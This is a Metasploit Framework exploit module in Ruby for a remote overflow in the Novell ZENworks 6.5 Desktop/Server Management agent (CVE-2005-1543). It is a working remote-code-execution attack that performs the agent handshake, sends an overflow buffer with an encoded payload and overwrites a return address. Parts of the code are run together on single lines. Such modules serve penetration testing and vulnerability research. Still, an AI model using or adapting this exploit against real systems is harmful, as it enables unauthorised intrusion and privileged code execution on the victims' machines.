### $Id: zenworks_desktop_agent.rb 9929 2010-07-25 21:37:54Z jduck $##### This file is part of the Metasploit Framework and may be subject to# redistribution and commercial restrictions. Please see the Metasploit# Framework web site for more information on licensing and terms of use.# http://metasploit.com/framework/##
require 'msf/core'class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,'Name' => 'Novell ZENworks 6.5 Desktop/Server Management Overflow','Description'=> %q{
This module exploits a heap overflow in the Novell ZENworks
Desktop Management agent. This vulnerability was discovered
by Alex Wheeler.},'Author' => ['anonymous'],'License'=> BSD_LICENSE,'Version'=> '$Revision: 9929 $','References' =>
[['CVE','2005-1543'],['OSVDB','16698'],['BID','13678'],],'Privileged' => true,'Payload'=>
{'Space'=> 32767,'BadChars' => "\x00",'StackAdjustment' => -3500,},'Targets'=>
[['Windows XP/2000/2003- ZENworks 6.5 Desktop/Server Agent',{'Platform' => 'win','Ret'=> 0x10002e06,},],],'DisclosureDate' => 'May 19 2005','DefaultTarget' => 0))end
def exploit
connect
hello = "\x00\x06\x05\x01\x10\xe6\x01\x00\x34\x5a\xf4\x77\x80\x95\xf8\x77"
print_status("Sending version identification")
sock.put(hello)
pad = Rex::Text.rand_text_alphanumeric(6, payload_badchars)
ident = sock.get_once
if!(ident and ident.length == 16)
print_error("Failed to receive agent version identification")returnend
print_status("Received agent version identification")
print_status("Sending client acknowledgement")
sock.put("\x00\x01")# Stack buffer overflow in ZenRem32.exe / ZENworks Server Management
sock.put("\x00\x06#{pad}\x00\x06#{pad}\x7f\xff"+ payload.encoded +"\x00\x01")
ack = sock.get_once
sock.put("\x00\x01")
sock.put("\x00\x02")
print_status("Sending final payload")
sock.put("\x00\x24"+("A"* 0x20)+[ target.ret ].pack('V'))
print_status("Overflow request sent, sleeping for four seconds")select(nil,nil,nil,4)
handler
disconnect
endend